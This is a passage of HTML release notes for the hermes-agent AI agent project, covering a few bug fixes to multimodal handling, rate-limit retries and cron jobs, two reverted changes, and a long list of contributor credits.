<li>Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (<a href="https://github.com/NousResearch/hermes-agent/pull/47907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47907/hovercard">#47907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44738/hovercard">#44738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44708/hovercard">#44708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (<a href="https://github.com/NousResearch/hermes-agent/pull/45136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45136/hovercard">#45136</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45801/hovercard">#45801</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43669/hovercard">#43669</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to <code>providers.custom</code> instead of codex; repair cron ownership on container restart (<a href="https://github.com/NousResearch/hermes-agent/pull/43223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43223/hovercard">#43223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43505/hovercard">#43505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41976/hovercard">#41976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><em>(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)</em></li>
</ul>
<h2>↩️ Reverted in this window (not shipping)</h2>
<ul>
<li><code>html-artifact</code> skill + sketch/architecture-diagram/concept-diagrams fold (<a href="https://github.com/NousResearch/hermes-agent/pull/48899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48899/hovercard">#48899</a>) — reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/49053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49053/hovercard">#49053</a>); absent on main.</li>
<li>Cron per-job profile support reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/43956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43956/hovercard">#43956</a>); a nix patchPhase workaround reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/42151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42151/hovercard">#42151</a>).</li>
</ul>
<h2>👥 Contributors</h2>
<p>A huge thank-you to everyone who contributed to this release — <strong>245 contributors</strong> across commits, co-author trailers, and salvaged PRs.</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<h3>Top community contributors (by merged PRs)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — 60 PRs (onboarding, model picker, cron env sanitization)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — 27 PRs (desktop &amp; gateway fixes)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — 21 PRs (gateway &amp; installer reliability)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — 19 PRs (dashboard &amp; desktop UX)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — 14 PRs (usage-aware credits, Supermemory)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — 14 PRs (desktop build pipeline &amp; Linux/Windows)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a> — 5 PRs (session lifecycle fixes)</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xdany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xdany">@0xdany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xneobyte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xneobyte">@0xneobyte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xyg3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xyg3n">@0xyg3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1960697431/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1960697431">@1960697431</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/895252509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/895252509">@895252509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/achaljhawar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/achaljhawar">@achaljhawar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aimable100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aimable100">@aimable100</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AJ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AJ">@AJ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ak2k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ak2k">@ak2k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alarcritty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alarcritty">@alarcritty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlchemistChaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlchemistChaos">@AlchemistChaos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aldoeliacim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aldoeliacim">@aldoeliacim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexanderBFoley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexanderBFoley">@AlexanderBFoley</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfred-smith-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfred-smith-0">@alfred-smith-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ali-nld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ali-nld">@ali-nld</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMEOBIUS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMEOBIUS">@AMEOBIUS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMIK-coorporations/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMIK-coorporations">@AMIK-coorporations</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArcanePivot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArcanePivot">@ArcanePivot</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ARegalado1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ARegalado1">@ARegalado1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashishpatel26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashishpatel26">@ashishpatel26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barronlroth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barronlroth">@barronlroth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bcsmith528/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bcsmith528">@bcsmith528</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benegessarit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benegessarit">@benegessarit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benfrank241/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benfrank241">@benfrank241</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bionicbutterfly13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bionicbutterfly13">@bionicbutterfly13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blut-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blut-agent">@blut-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmoore210/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmoore210">@bmoore210</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bpasquini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bpasquini">@bpasquini</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/capt-marbles/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/capt-marbles">@capt-marbles</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ccook1963/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ccook1963">@ccook1963</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/channkim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/channkim">@channkim</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChasLui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChasLui">@ChasLui</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chimpera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chimpera">@chimpera</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CiarasClaws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CiarasClaws">@CiarasClaws</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claytonchew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claytonchew">@claytonchew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cnfi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cnfi">@cnfi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dangelo352/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dangelo352">@dangelo352</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deaneeth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deaneeth">@deaneeth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/definitelynotguru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/definitelynotguru">@definitelynotguru</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Diyoncrz18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Diyoncrz18">@Diyoncrz18</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draix">@draix</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ehz0ah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ehz0ah">@ehz0ah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enesilhaydin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enesilhaydin">@enesilhaydin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Evisolpxe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Evisolpxe">@Evisolpxe</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flyinhigh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flyinhigh">@flyinhigh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/foras910521-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/foras910521-lab">@foras910521-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ft-ioxcs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ft-ioxcs">@ft-ioxcs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ganesh0690/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ganesh0690">@Ganesh0690</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giladbau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giladbau">@giladbau</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glesperance/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glesperance">@glesperance</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/goku94123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/goku94123">@goku94123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaozheZhang6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaozheZhang6">@HaozheZhang6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshitAgr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshitAgr">@harshitAgr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hbentel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hbentel">@hbentel</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangxun375-stack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangxun375-stack">@huangxun375-stack</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ianculling/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ianculling">@ianculling</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, @islam666, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ITheEqualizer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ITheEqualizer">@ITheEqualizer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsflownium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsflownium">@itsflownium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/james47kjv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/james47kjv">@james47kjv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeeves-assistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeeves-assistant">@jeeves-assistant</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrobodie-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrobodie-glitch">@jeffrobodie-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JezzaHehn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JezzaHehn">@JezzaHehn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jiangkoumo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jiangkoumo">@jiangkoumo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimjsong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimjsong">@jimjsong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a 